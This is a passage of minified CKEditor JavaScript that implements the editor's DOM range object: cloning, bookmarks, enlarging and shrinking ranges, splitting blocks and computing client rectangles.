c.is(CKEDITOR.dtd.$removeEmpty)}}function c(a){return function(){var b;return this[a?"getPreviousNode":"getNextNode"](function(a){!b&&k(a)&&(b=a);return d(a)&&!(h(a)&&a.equals(b))})}}var m={abbr:1,acronym:1,b:1,bdo:1,big:1,cite:1,code:1,del:1,dfn:1,em:1,font:1,i:1,ins:1,label:1,kbd:1,q:1,samp:1,small:1,span:1,strike:1,strong:1,sub:1,sup:1,tt:1,u:1,"var":1},h=CKEDITOR.dom.walker.bogus(),l=/^[\t\r\n ]*(?: |\xa0)$/,d=CKEDITOR.dom.walker.editable(),k=CKEDITOR.dom.walker.ignored(!0);CKEDITOR.dom.range.prototype=
{clone:function(){var a=new CKEDITOR.dom.range(this.root);a._setStartContainer(this.startContainer);a.startOffset=this.startOffset;a._setEndContainer(this.endContainer);a.endOffset=this.endOffset;a.collapsed=this.collapsed;return a},collapse:function(a){a?(this._setEndContainer(this.startContainer),this.endOffset=this.startOffset):(this._setStartContainer(this.endContainer),this.startOffset=this.endOffset);this.collapsed=!0},cloneContents:function(a){var b=new CKEDITOR.dom.documentFragment(this.document);
this.collapsed||f(this,2,b,!1,"undefined"==typeof a?!0:a);return b},deleteContents:function(a){this.collapsed||f(this,0,null,a)},extractContents:function(a,b){var d=new CKEDITOR.dom.documentFragment(this.document);this.collapsed||f(this,1,d,a,"undefined"==typeof b?!0:b);return d},equals:function(a){return this.startOffset===a.startOffset&&this.endOffset===a.endOffset&&this.startContainer.equals(a.startContainer)&&this.endContainer.equals(a.endContainer)},createBookmark:function(a){function b(a){return a.getAscendant(function(a){var b;
if(b=a.data&&a.data("cke-temp"))b=-1===CKEDITOR.tools.array.indexOf(["cke_copybin","cke_pastebin"],a.getAttribute("id"));return b},!0)}var d=this.startContainer,c=this.endContainer,e=this.collapsed,k,f,h,m;k=this.document.createElement("span");k.data("cke-bookmark",1);k.setStyle("display","none");k.setHtml("\x26nbsp;");a&&(h="cke_bm_"+CKEDITOR.tools.getNextNumber(),k.setAttribute("id",h+(e?"C":"S")));e||(f=k.clone(),f.setHtml("\x26nbsp;"),a&&f.setAttribute("id",h+"E"),m=this.clone(),b(c)&&(c=b(c),
m.moveToPosition(c,CKEDITOR.POSITION_AFTER_END)),m.collapse(),m.insertNode(f));m=this.clone();b(d)&&(c=b(d),m.moveToPosition(c,CKEDITOR.POSITION_BEFORE_START));m.collapse(!0);m.insertNode(k);f?(this.setStartAfter(k),this.setEndBefore(f)):this.moveToPosition(k,CKEDITOR.POSITION_AFTER_END);return{startNode:a?h+(e?"C":"S"):k,endNode:a?h+"E":f,serializable:a,collapsed:e}},createBookmark2:function(){function a(b){var g=b.container,c=b.offset,e;e=g;var k=c;e=e.type!=CKEDITOR.NODE_ELEMENT||0===k||k==e.getChildCount()?
0:e.getChild(k-1).type==CKEDITOR.NODE_TEXT&&e.getChild(k).type==CKEDITOR.NODE_TEXT;e&&(g=g.getChild(c-1),c=g.getLength());if(g.type==CKEDITOR.NODE_ELEMENT&&0<c){a:{for(e=g;c--;)if(k=e.getChild(c).getIndex(!0),0<=k){c=k;break a}c=-1}c+=1}if(g.type==CKEDITOR.NODE_TEXT){e=g;for(k=0;(e=e.getPrevious())&&e.type==CKEDITOR.NODE_TEXT;)k+=e.getText().replace(CKEDITOR.dom.selection.FILLING_CHAR_SEQUENCE,"").length;e=k;g.isEmpty()?(k=g.getPrevious(d),e?(c=e,g=k?k.getNext():g.getParent().getFirst()):(g=g.getParent(),
c=k?k.getIndex(!0)+1:0)):c+=e}b.container=g;b.offset=c}function b(a,g){var d=g.getCustomData("cke-fillingChar");if(d){var c=a.container;d.equals(c)&&(a.offset-=CKEDITOR.dom.selection.FILLING_CHAR_SEQUENCE.length,0>=a.offset&&(a.offset=c.getIndex(),a.container=c.getParent()))}}var d=CKEDITOR.dom.walker.nodeType(CKEDITOR.NODE_TEXT,!0);return function(d){var c=this.collapsed,e={container:this.startContainer,offset:this.startOffset},k={container:this.endContainer,offset:this.endOffset};d&&(a(e),b(e,this.root),
c||(a(k),b(k,this.root)));return{start:e.container.getAddress(d),end:c?null:k.container.getAddress(d),startOffset:e.offset,endOffset:k.offset,normalized:d,collapsed:c,is2:!0}}}(),moveToBookmark:function(a){if(a.is2){var b=this.document.getByAddress(a.start,a.normalized),d=a.startOffset,c=a.end&&this.document.getByAddress(a.end,a.normalized);a=a.endOffset;this.setStart(b,d);c?this.setEnd(c,a):this.collapse(!0)}else b=(d=a.serializable)?this.document.getById(a.startNode):a.startNode,a=d?this.document.getById(a.endNode):
a.endNode,this.setStartBefore(b),b.remove(),a?(this.setEndBefore(a),a.remove()):this.collapse(!0)},getBoundaryNodes:function(){var a=this.startContainer,b=this.endContainer,d=this.startOffset,c=this.endOffset,e;if(a.type==CKEDITOR.NODE_ELEMENT)if(e=a.getChildCount(),e>d)a=a.getChild(d);else if(1>e)a=a.getPreviousSourceNode();else{for(a=a.$;a.lastChild;)a=a.lastChild;a=new CKEDITOR.dom.node(a);a=a.getNextSourceNode()||a}if(b.type==CKEDITOR.NODE_ELEMENT)if(e=b.getChildCount(),e>c)b=b.getChild(c).getPreviousSourceNode(!0);
else if(1>e)b=b.getPreviousSourceNode();else{for(b=b.$;b.lastChild;)b=b.lastChild;b=new CKEDITOR.dom.node(b)}a.getPosition(b)&CKEDITOR.POSITION_FOLLOWING&&(a=b);return{startNode:a,endNode:b}},getCommonAncestor:function(a,b){var d=this.startContainer,c=this.endContainer,d=d.equals(c)?a&&d.type==CKEDITOR.NODE_ELEMENT&&this.startOffset==this.endOffset-1?d.getChild(this.startOffset):d:d.getCommonAncestor(c);return b&&!d.is?d.getParent():d},optimize:function(){var a=this.startContainer,b=this.startOffset;
a.type!=CKEDITOR.NODE_ELEMENT&&(b?b>=a.getLength()&&this.setStartAfter(a):this.setStartBefore(a));a=this.endContainer;b=this.endOffset;a.type!=CKEDITOR.NODE_ELEMENT&&(b?b>=a.getLength()&&this.setEndAfter(a):this.setEndBefore(a))},optimizeBookmark:function(){var a=this.startContainer,b=this.endContainer;a.is&&a.is("span")&&a.data("cke-bookmark")&&this.setStartAt(a,CKEDITOR.POSITION_BEFORE_START);b&&b.is&&b.is("span")&&b.data("cke-bookmark")&&this.setEndAt(b,CKEDITOR.POSITION_AFTER_END)},trim:function(a,
b){var d=this.startContainer,c=this.startOffset,e=this.collapsed;if((!a||e)&&d&&d.type==CKEDITOR.NODE_TEXT){if(c)if(c>=d.getLength())c=d.getIndex()+1,d=d.getParent();else{var k=d.split(c),c=d.getIndex()+1,d=d.getParent();this.startContainer.equals(this.endContainer)?this.setEnd(k,this.endOffset-this.startOffset):d.equals(this.endContainer)&&(this.endOffset+=1)}else c=d.getIndex(),d=d.getParent();this.setStart(d,c);if(e){this.collapse(!0);return}}d=this.endContainer;c=this.endOffset;b||e||!d||d.type!=
CKEDITOR.NODE_TEXT||(c?(c>=d.getLength()||d.split(c),c=d.getIndex()+1):c=d.getIndex(),d=d.getParent(),this.setEnd(d,c))},enlarge:function(a,b){function d(a){return a&&a.type==CKEDITOR.NODE_ELEMENT&&a.hasAttribute("contenteditable")?null:a}var c=new RegExp(/[^\s\ufeff]/);switch(a){case CKEDITOR.ENLARGE_INLINE:var e=1;case CKEDITOR.ENLARGE_ELEMENT:var k=function(a,b){var d=new CKEDITOR.dom.range(h);d.setStart(a,b);d.setEndAt(h,CKEDITOR.POSITION_BEFORE_END);var d=new CKEDITOR.dom.walker(d),g;for(d.guard=
function(a){return!(a.type==CKEDITOR.NODE_ELEMENT&&a.isBlockBoundary())};g=d.next();){if(g.type!=CKEDITOR.NODE_TEXT)return!1;G=g!=a?g.getText():g.substring(b);if(c.test(G))return!1}return!0};if(this.collapsed)break;var f=this.getCommonAncestor(),h=this.root,m,l,v,y,z,A=!1,D,G;D=this.startContainer;var E=this.startOffset;D.type==CKEDITOR.NODE_TEXT?(E&&(D=!CKEDITOR.tools.trim(D.substring(0,E)).length&&D,A=!!D),D&&((y=D.getPrevious())||(v=D.getParent()))):(E&&(y=D.getChild(E-1)||D.getLast()),y||(v=D));
for(v=d(v);v||y;){if(v&&!y){!z&&v.equals(f)&&(z=!0);if(e?v.isBlockBoundary():!h.contains(v))break;A&&"inline"==v.getComputedStyle("display")||(A=!1,z?m=v:this.setStartBefore(v));y=v.getPrevious()}for(;y;)if(D=!1,y.type==CKEDITOR.NODE_COMMENT)y=y.getPrevious();else{if(y.type==CKEDITOR.NODE_TEXT)G=y.getText(),c.test(G)&&(y=null),D=/[\s\ufeff]$/.test(G);else if((y.$.offsetWidth>(CKEDITOR.env.webkit?1:0)||b&&y.is("br"))&&!y.data("cke-bookmark"))if(A&&CKEDITOR.dtd.$removeEmpty[y.getName()]){G=y.getText();
if(c.test(G))y=null;else for(var E=y.$.getElementsByTagName("*"),J=0,H;H=E[J++];)if(!CKEDITOR.dtd.$removeEmpty[H.nodeName.toLowerCase()]){y=null;break}y&&(D=!!G.length)}else y=null;D&&(A?z?m=v:v&&this.setStartBefore(v):A=!0);if(y){D=y.getPrevious();if(!v&&!D){v=y;y=null;break}y=D}else v=null}v&&(v=d(v.getParent()))}D=this.endContainer;E=this.endOffset;v=y=null;z=A=!1;D.type==CKEDITOR.NODE_TEXT?CKEDITOR.tools.trim(D.substring(E)).length?A=!0:(A=!D.getLength(),E==D.getLength()?(y=D.getNext())||(v=D.getParent()):
k(D,E)&&(v=D.getParent())):(y=D.getChild(E))||(v=D);for(;v||y;){if(v&&!y){!z&&v.equals(f)&&(z=!0);if(e?v.isBlockBoundary():!h.contains(v))break;A&&"inline"==v.getComputedStyle("display")||(A=!1,z?l=v:v&&this.setEndAfter(v));y=v.getNext()}for(;y;){D=!1;if(y.type==CKEDITOR.NODE_TEXT)G=y.getText(),k(y,0)||(y=null),D=/^[\s\ufeff]/.test(G);else if(y.type==CKEDITOR.NODE_ELEMENT){if((0<y.$.offsetWidth||b&&y.is("br"))&&!y.data("cke-bookmark"))if(A&&CKEDITOR.dtd.$removeEmpty[y.getName()]){G=y.getText();if(c.test(G))y=
null;else for(E=y.$.getElementsByTagName("*"),J=0;H=E[J++];)if(!CKEDITOR.dtd.$removeEmpty[H.nodeName.toLowerCase()]){y=null;break}y&&(D=!!G.length)}else y=null}else D=1;D&&A&&(z?l=v:this.setEndAfter(v));if(y){D=y.getNext();if(!v&&!D){v=y;y=null;break}y=D}else v=null}v&&(v=d(v.getParent()))}m&&l&&(f=m.contains(l)?l:m,this.setStartBefore(f),this.setEndAfter(f));break;case CKEDITOR.ENLARGE_BLOCK_CONTENTS:case CKEDITOR.ENLARGE_LIST_ITEM_CONTENTS:v=new CKEDITOR.dom.range(this.root);h=this.root;v.setStartAt(h,
CKEDITOR.POSITION_AFTER_START);v.setEnd(this.startContainer,this.startOffset);v=new CKEDITOR.dom.walker(v);var F,M,I=CKEDITOR.dom.walker.blockBoundary(a==CKEDITOR.ENLARGE_LIST_ITEM_CONTENTS?{br:1}:null),K=null,C=function(a){if(a.type==CKEDITOR.NODE_ELEMENT&&"false"==a.getAttribute("contenteditable"))if(K){if(K.equals(a)){K=null;return}}else K=a;else if(K)return;var b=I(a);b||(F=a);return b},e=function(a){var b=C(a);!b&&a.is&&a.is("br")&&(M=a);return b};v.guard=C;v=v.lastBackward();F=F||h;this.setStartAt(F,
!F.is("br")&&(!v&&this.checkStartOfBlock()||v&&F.contains(v))?CKEDITOR.POSITION_AFTER_START:CKEDITOR.POSITION_AFTER_END);if(a==CKEDITOR.ENLARGE_LIST_ITEM_CONTENTS){v=this.clone();v=new CKEDITOR.dom.walker(v);var L=CKEDITOR.dom.walker.whitespaces(),Q=CKEDITOR.dom.walker.bookmark();v.evaluator=function(a){return!L(a)&&!Q(a)};if((v=v.previous())&&v.type==CKEDITOR.NODE_ELEMENT&&v.is("br"))break}v=this.clone();v.collapse();v.setEndAt(h,CKEDITOR.POSITION_BEFORE_END);v=new CKEDITOR.dom.walker(v);v.guard=
a==CKEDITOR.ENLARGE_LIST_ITEM_CONTENTS?e:C;F=K=M=null;v=v.lastForward();F=F||h;this.setEndAt(F,!v&&this.checkEndOfBlock()||v&&F.contains(v)?CKEDITOR.POSITION_BEFORE_END:CKEDITOR.POSITION_BEFORE_START);M&&this.setEndAfter(M)}},shrink:function(a,b,d){var c="boolean"===typeof d?d:d&&"boolean"===typeof d.shrinkOnBlockBoundary?d.shrinkOnBlockBoundary:!0,e=d&&d.skipBogus;if(!this.collapsed){a=a||CKEDITOR.SHRINK_TEXT;var k=this.clone(),f=this.startContainer,h=this.endContainer,m=this.startOffset,l=this.endOffset,
v=d=1;f&&f.type==CKEDITOR.NODE_TEXT&&(m?m>=f.getLength()?k.setStartAfter(f):(k.setStartBefore(f),d=0):k.setStartBefore(f));h&&h.type==CKEDITOR.NODE_TEXT&&(l?l>=h.getLength()?k.setEndAfter(h):(k.setEndAfter(h),v=0):k.setEndBefore(h));var k=new CKEDITOR.dom.walker(k),y=CKEDITOR.dom.walker.bookmark(),z=CKEDITOR.dom.walker.bogus();k.evaluator=function(b){return b.type==(a==CKEDITOR.SHRINK_ELEMENT?CKEDITOR.NODE_ELEMENT:CKEDITOR.NODE_TEXT)};var A;k.guard=function(b,d){if(e&&z(b)||y(b))return!0;if(a==CKEDITOR.SHRINK_ELEMENT&&
b.type==CKEDITOR.NODE_TEXT||d&&b.equals(A)||!1===c&&b.type==CKEDITOR.NODE_ELEMENT&&b.isBlockBoundary()||b.type==CKEDITOR.NODE_ELEMENT&&b.hasAttribute("contenteditable"))return!1;d||b.type!=CKEDITOR.NODE_ELEMENT||(A=b);return!0};d&&(f=k[a==CKEDITOR.SHRINK_ELEMENT?"lastForward":"next"]())&&this.setStartAt(f,b?CKEDITOR.POSITION_AFTER_START:CKEDITOR.POSITION_BEFORE_START);v&&(k.reset(),(k=k[a==CKEDITOR.SHRINK_ELEMENT?"lastBackward":"previous"]())&&this.setEndAt(k,b?CKEDITOR.POSITION_BEFORE_END:CKEDITOR.POSITION_AFTER_END));
return!(!d&&!v)}},insertNode:function(a){this.optimizeBookmark();this.trim(!1,!0);var b=this.startContainer,d=b.getChild(this.startOffset);d?a.insertBefore(d):b.append(a);a.getParent()&&a.getParent().equals(this.endContainer)&&this.endOffset++;this.setStartBefore(a)},moveToPosition:function(a,b){this.setStartAt(a,b);this.collapse(!0)},moveToRange:function(a){this.setStart(a.startContainer,a.startOffset);this.setEnd(a.endContainer,a.endOffset)},selectNodeContents:function(a){this.setStart(a,0);this.setEnd(a,
a.type==CKEDITOR.NODE_TEXT?a.getLength():a.getChildCount())},setStart:function(b,d){b.type==CKEDITOR.NODE_ELEMENT&&CKEDITOR.dtd.$empty[b.getName()]&&(d=b.getIndex(),b=b.getParent());this._setStartContainer(b);this.startOffset=d;this.endContainer||(this._setEndContainer(b),this.endOffset=d);a(this)},setEnd:function(b,d){b.type==CKEDITOR.NODE_ELEMENT&&CKEDITOR.dtd.$empty[b.getName()]&&(d=b.getIndex()+1,b=b.getParent());this._setEndContainer(b);this.endOffset=d;this.startContainer||(this._setStartContainer(b),
this.startOffset=d);a(this)},setStartAfter:function(a){this.setStart(a.getParent(),a.getIndex()+1)},setStartBefore:function(a){this.setStart(a.getParent(),a.getIndex())},setEndAfter:function(a){this.setEnd(a.getParent(),a.getIndex()+1)},setEndBefore:function(a){this.setEnd(a.getParent(),a.getIndex())},setStartAt:function(b,d){switch(d){case CKEDITOR.POSITION_AFTER_START:this.setStart(b,0);break;case CKEDITOR.POSITION_BEFORE_END:b.type==CKEDITOR.NODE_TEXT?this.setStart(b,b.getLength()):this.setStart(b,
b.getChildCount());break;case CKEDITOR.POSITION_BEFORE_START:this.setStartBefore(b);break;case CKEDITOR.POSITION_AFTER_END:this.setStartAfter(b)}a(this)},setEndAt:function(b,d){switch(d){case CKEDITOR.POSITION_AFTER_START:this.setEnd(b,0);break;case CKEDITOR.POSITION_BEFORE_END:b.type==CKEDITOR.NODE_TEXT?this.setEnd(b,b.getLength()):this.setEnd(b,b.getChildCount());break;case CKEDITOR.POSITION_BEFORE_START:this.setEndBefore(b);break;case CKEDITOR.POSITION_AFTER_END:this.setEndAfter(b)}a(this)},fixBlock:function(a,
b){var d=this.createBookmark(),c=this.document.createElement(b);this.collapse(a);this.enlarge(CKEDITOR.ENLARGE_BLOCK_CONTENTS);this.extractContents().appendTo(c);c.trim();this.insertNode(c);var e=c.getBogus();e&&e.remove();c.appendBogus();this.moveToBookmark(d);return c},splitBlock:function(a,b){var d=new CKEDITOR.dom.elementPath(this.startContainer,this.root),c=new CKEDITOR.dom.elementPath(this.endContainer,this.root),e=d.block,k=c.block,f=null;if(!d.blockLimit.equals(c.blockLimit))return null;"br"!=
a&&(e||(e=this.fixBlock(!0,a),k=(new CKEDITOR.dom.elementPath(this.endContainer,this.root)).block),k||(k=this.fixBlock(!1,a)));d=e&&this.checkStartOfBlock();c=k&&this.checkEndOfBlock();this.deleteContents();e&&e.equals(k)&&(c?(f=new CKEDITOR.dom.elementPath(this.startContainer,this.root),this.moveToPosition(k,CKEDITOR.POSITION_AFTER_END),k=null):d?(f=new CKEDITOR.dom.elementPath(this.startContainer,this.root),this.moveToPosition(e,CKEDITOR.POSITION_BEFORE_START),e=null):(k=this.splitElement(e,b||
!1),e.is("ul","ol")||e.appendBogus()));return{previousBlock:e,nextBlock:k,wasStartOfBlock:d,wasEndOfBlock:c,elementPath:f}},splitElement:function(a,b){if(!this.collapsed)return null;this.setEndAt(a,CKEDITOR.POSITION_BEFORE_END);var d=this.extractContents(!1,b||!1),c=a.clone(!1,b||!1);d.appendTo(c);c.insertAfter(a);this.moveToPosition(a,CKEDITOR.POSITION_AFTER_END);return c},removeEmptyBlocksAtEnd:function(){function a(g){return function(a){return b(a)||d(a)||a.type==CKEDITOR.NODE_ELEMENT&&a.isEmptyInlineRemoveable()||
g.is("table")&&a.is("caption")?!1:!0}}var b=CKEDITOR.dom.walker.whitespaces(),d=CKEDITOR.dom.walker.bookmark(!1);return function(b){for(var d=this.createBookmark(),c=this[b?"endPath":"startPath"](),e=c.block||c.blockLimit,k;e&&!e.equals(c.root)&&!e.getFirst(a(e));)k=e.getParent(),this[b?"setEndAt":"setStartAt"](e,CKEDITOR.POSITION_AFTER_END),e.remove(1),e=k;this.moveToBookmark(d)}}(),startPath:function(){return new CKEDITOR.dom.elementPath(this.startContainer,this.root)},endPath:function(){return new CKEDITOR.dom.elementPath(this.endContainer,
this.root)},checkBoundaryOfElement:function(a,d){var c=d==CKEDITOR.START,e=this.clone();e.collapse(c);e[c?"setStartAt":"setEndAt"](a,c?CKEDITOR.POSITION_AFTER_START:CKEDITOR.POSITION_BEFORE_END);e=new CKEDITOR.dom.walker(e);e.evaluator=b(c);return e[c?"checkBackward":"checkForward"]()},checkStartOfBlock:function(){var a=this.startContainer,b=this.startOffset;CKEDITOR.env.ie&&b&&a.type==CKEDITOR.NODE_TEXT&&(a=CKEDITOR.tools.ltrim(a.substring(0,b)),l.test(a)&&this.trim(0,1));this.trim();a=new CKEDITOR.dom.elementPath(this.startContainer,
this.root);b=this.clone();b.collapse(!0);b.setStartAt(a.block||a.blockLimit,CKEDITOR.POSITION_AFTER_START);a=new CKEDITOR.dom.walker(b);a.evaluator=e();return a.checkBackward()},checkEndOfBlock:function(){var a=this.endContainer,b=this.endOffset;CKEDITOR.env.ie&&a.type==CKEDITOR.NODE_TEXT&&(a=CKEDITOR.tools.rtrim(a.substring(b)),l.test(a)&&this.trim(1,0));this.trim();a=new CKEDITOR.dom.elementPath(this.endContainer,this.root);b=this.clone();b.collapse(!1);b.setEndAt(a.block||a.blockLimit,CKEDITOR.POSITION_BEFORE_END);
a=new CKEDITOR.dom.walker(b);a.evaluator=e();return a.checkForward()},getPreviousNode:function(a,b,d){var c=this.clone();c.collapse(1);c.setStartAt(d||this.root,CKEDITOR.POSITION_AFTER_START);d=new CKEDITOR.dom.walker(c);d.evaluator=a;d.guard=b;return d.previous()},getNextNode:function(a,b,d){var c=this.clone();c.collapse();c.setEndAt(d||this.root,CKEDITOR.POSITION_BEFORE_END);d=new CKEDITOR.dom.walker(c);d.evaluator=a;d.guard=b;return d.next()},checkReadOnly:function(){function a(b,d){for(;b;){if(b.type==
CKEDITOR.NODE_ELEMENT){if("false"==b.getAttribute("contentEditable")&&!b.data("cke-editable"))return 0;if(b.is("html")||"true"==b.getAttribute("contentEditable")&&(b.contains(d)||b.equals(d)))break}b=b.getParent()}return 1}return function(){var b=this.startContainer,d=this.endContainer;return!(a(b,d)&&a(d,b))}}(),moveToElementEditablePosition:function(a,b){if(a.type==CKEDITOR.NODE_ELEMENT&&!a.isEditable(!1))return this.moveToPosition(a,b?CKEDITOR.POSITION_AFTER_END:CKEDITOR.POSITION_BEFORE_START),
!0;for(var d=0;a;){if(a.type==CKEDITOR.NODE_TEXT){b&&this.endContainer&&this.checkEndOfBlock()&&l.test(a.getText())?this.moveToPosition(a,CKEDITOR.POSITION_BEFORE_START):this.moveToPosition(a,b?CKEDITOR.POSITION_AFTER_END:CKEDITOR.POSITION_BEFORE_START);d=1;break}if(a.type==CKEDITOR.NODE_ELEMENT)if(a.isEditable())this.moveToPosition(a,b?CKEDITOR.POSITION_BEFORE_END:CKEDITOR.POSITION_AFTER_START),d=1;else if(b&&a.is("br")&&this.endContainer&&this.checkEndOfBlock())this.moveToPosition(a,CKEDITOR.POSITION_BEFORE_START);
else if("false"==a.getAttribute("contenteditable")&&a.is(CKEDITOR.dtd.$block))return this.setStartBefore(a),this.setEndAfter(a),!0;var c=a,e=d,f=void 0;c.type==CKEDITOR.NODE_ELEMENT&&c.isEditable(!1)&&(f=c[b?"getLast":"getFirst"](k));e||f||(f=c[b?"getPrevious":"getNext"](k));a=f}return!!d},moveToClosestEditablePosition:function(a,b){var d,c=0,e,k,f=[CKEDITOR.POSITION_AFTER_END,CKEDITOR.POSITION_BEFORE_START];a?(d=new CKEDITOR.dom.range(this.root),d.moveToPosition(a,f[b?0:1])):d=this.clone();if(a&&
!a.is(CKEDITOR.dtd.$block))c=1;else if(e=d[b?"getNextEditableNode":"getPreviousEditableNode"]())c=1,(k=e.type==CKEDITOR.NODE_ELEMENT)&&e.is(CKEDITOR.dtd.$block)&&"false"==e.getAttribute("contenteditable")?(d.setStartAt(e,CKEDITOR.POSITION_BEFORE_START),d.setEndAt(e,CKEDITOR.POSITION_AFTER_END)):!CKEDITOR.env.needsBrFiller&&k&&e.is(CKEDITOR.dom.walker.validEmptyBlockContainers)?(d.setEnd(e,0),d.collapse()):d.moveToPosition(e,f[b?1:0]);c&&this.moveToRange(d);return!!c},moveToElementEditStart:function(a){return this.moveToElementEditablePosition(a)},
moveToElementEditEnd:function(a){return this.moveToElementEditablePosition(a,!0)},getEnclosedNode:function(){var a=this.clone();a.optimize();if(a.startContainer.type!=CKEDITOR.NODE_ELEMENT||a.endContainer.type!=CKEDITOR.NODE_ELEMENT)return null;var a=new CKEDITOR.dom.walker(a),b=CKEDITOR.dom.walker.bookmark(!1,!0),d=CKEDITOR.dom.walker.whitespaces(!0);a.evaluator=function(a){return d(a)&&b(a)};var c=a.next();a.reset();return c&&c.equals(a.previous())?c:null},getTouchedStartNode:function(){var a=this.startContainer;
return this.collapsed||a.type!=CKEDITOR.NODE_ELEMENT?a:a.getChild(this.startOffset)||a},getTouchedEndNode:function(){var a=this.endContainer;return this.collapsed||a.type!=CKEDITOR.NODE_ELEMENT?a:a.getChild(this.endOffset-1)||a},getNextEditableNode:c(),getPreviousEditableNode:c(1),_getTableElement:function(a){a=a||{td:1,th:1,tr:1,tbody:1,thead:1,tfoot:1,table:1};var b=this.getTouchedStartNode(),d=this.getTouchedEndNode(),c=b.getAscendant("table",!0),d=d.getAscendant("table",!0);return c&&!this.root.contains(c)?
null:this.getEnclosedNode()?this.getEnclosedNode().getAscendant(a,!0):c&&d&&(c.equals(d)||c.contains(d)||d.contains(c))?b.getAscendant(a,!0):null},scrollIntoView:function(){var a=new CKEDITOR.dom.element.createFromHtml("\x3cspan\x3e\x26nbsp;\x3c/span\x3e",this.document),b,d,c,e=this.clone();e.optimize();(c=e.startContainer.type==CKEDITOR.NODE_TEXT)?(d=e.startContainer.getText(),b=e.startContainer.split(e.startOffset),a.insertAfter(e.startContainer)):e.insertNode(a);a.scrollIntoView();c&&(e.startContainer.setText(d),
b.remove());a.remove()},getClientRects:function(){function a(b,d){var c=CKEDITOR.tools.array.map(b,function(a){return a}),g=new CKEDITOR.dom.range(d.root),e,k,f;d.startContainer instanceof CKEDITOR.dom.element&&(k=0===d.startOffset&&d.startContainer.hasAttribute("data-widget"));d.endContainer instanceof CKEDITOR.dom.element&&(f=(f=d.endOffset===(d.endContainer.getChildCount?d.endContainer.getChildCount():d.endContainer.length))&&d.endContainer.hasAttribute("data-widget"));k&&g.setStart(d.startContainer.getParent(),
d.startContainer.getIndex());f&&g.setEnd(d.endContainer.getParent(),d.endContainer.getIndex()+1);if(k||f)d=g;g=d.cloneContents().find("[data-cke-widget-id]").toArray();if(g=CKEDITOR.tools.array.map(g,function(a){var b=d.root.editor;a=a.getAttribute("data-cke-widget-id");return b.widgets.instances[a].element}))return g=CKEDITOR.tools.array.map(g,function(a){var b;b=a.getParent().hasClass("cke_widget_wrapper")?a.getParent():a;e=this.root.getDocument().$.createRange();e.setStart(b.getParent().$,b.getIndex());
e.setEnd(b.getParent().$,b.getIndex()+1);b=e.getClientRects();b.widgetRect=a.getClientRect();return b},d),CKEDITOR.tools.array.forEach(g,function(a){function b(g){CKEDITOR.tools.array.forEach(c,function(b,e){var k=CKEDITOR.tools.objectCompare(a[g],b);k||(k=CKEDITOR.tools.objectCompare(a.widgetRect,b));k&&(Array.prototype.splice.call(c,e,a.length-g,a.widgetRect),d=!0)});d||(g<c.length-1?b(g+1):c.push(a.widgetRect))}var d;b(0)}),c}function b(a,d,g){var e;d.collapsed?g.startContainer instanceof CKEDITOR.dom.element?
(a=g.checkStartOfBlock(),e=new CKEDITOR.dom.text(""),a?g.startContainer.append(e,!0):0===g.startOffset?e.insertBefore(g.startContainer.getFirst()):(g=g.startContainer.getChildren().getItem(g.startOffset-1),e.insertAfter(g)),d.setStart(e.$,0),d.setEnd(e.$,0),a=d.getClientRects(),e.remove()):g.startContainer instanceof CKEDITOR.dom.text&&(""===g.startContainer.getText()?(g.startContainer.setText(""),a=d.getClientRects(),g.startContainer.setText("")):a=[c(g.createBookmark())]):a=[c(g.createBookmark())];
return a}function d(a,b,c){a=CKEDITOR.tools.extend({},a);b&&(a=CKEDITOR.tools.getAbsoluteRectPosition(c.document.getWindow(),a));!a.width&&(a.width=a.right-a.left);!a.height&&(a.height=a.bottom-a.top);return a}function c(a){var b=a.startNode;a=a.endNode;var d;b.setText("");b.removeStyle("display");a?(a.setText(""),a.removeStyle("display"),d=[b.getClientRect(),a.getClientRect()],a.remove()):d=[b.getClientRect(),b.getClientRect()];b.remove();return{right:Math.max(d[0].right,d[1].right),bottom:Math.max(d[0].bottom,
d[1].bottom),left:Math.min(d[0].left,d[1].left),top:Math.min(d[0].top,d[1].top),width:Math.abs(d[0].left-d[1].left),height:Math.max(d[0].bottom,d[1].bottom)-Math.min(d[0].top,d[1].top)}}return void 0!==this.document.getSelection?function(c){var e=this.root.getDocument().$.createRange(),k;e.setStart(this.startContainer.$,this.startOffset);e.setEnd(this.endContainer.$,this.endOffset);k=e.getClientRects();k=a(k,this);k.length||(k=b(k,e,this));return CKEDITOR.tools.array.map(k,function(a){return d(a,
c,this)},this)}:function(a){return[d(c(this.createBookmark()),a,this)]}}(),_setStartContainer:function(a){this.startContainer=a},_setEndContainer:function(a){this.endContainer=a},_find:function(a,b){var d=this.getCommonAncestor(),c=this.getBoundaryNodes(),e=[],k,f,h,m;if(d&&d.find)for(f=d.find(a),k=0;k<f.count();k++)if(d=f.getItem(k),b||!d.isReadOnly())h=d.getPosition(c.startNode)&CKEDITOR.POSITION_FOLLOWING||c.startNode.equals(d),m=d.getPosition(c.endNode)&CKEDITOR.POSITION_PRECEDING+CKEDITOR.POSITION_IS_CONTAINED||
c.endNode.equals(d),h&&m&&e.push(d);return e}};CKEDITOR.dom.range.mergeRanges=function(a){return CKEDITOR.tools.array.reduce(a,function(a,b){var d=a[a.length-1],c=!1;b=b.clone();b.enlarge(CKEDITOR.ENLARGE_ELEMENT);if(d){var g=new CKEDITOR.dom.range(b.root),c=new CKEDITOR.dom.walker(g),e=CKEDITOR.dom.walker.whitespaces();g.setStart(d.endContainer,d.endOffset);g.setEnd(b.startContainer,b.startOffset);for(g=c.next();e(g)||b.endContainer.equals(g);)g=c.next();c=!g}c?d.setEnd(b.endContainer,b.endOffset):
a.push(b);return a},[])}})();CKEDITOR.POSITION_AFTER_START=1;CKEDITOR.POSITION_BEFORE_END=2;CKEDITOR.POSITION_BEFORE_START=3;CKEDITOR.POSITION_AFTER_END=4;CKEDITOR.ENLARGE_ELEMENT=1;CKEDITOR.ENLARGE_BLOCK_CONTENTS=2;CKEDITOR.ENLARGE_LIST_ITEM_CONTENTS=3;CKEDITOR.ENLARGE_INLINE=4;CKEDITOR.START=1;CKEDITOR.END=2;CKEDITOR.SHRINK_ELEMENT=1;CKEDITOR.SHRINK_TEXT=2;"use strict";(function(){function a(a){1>arguments.length||(this.range=a,this.forceBrBreak=0,this.enlargeBr=1,this.enforceRealBlocks=0,this._||
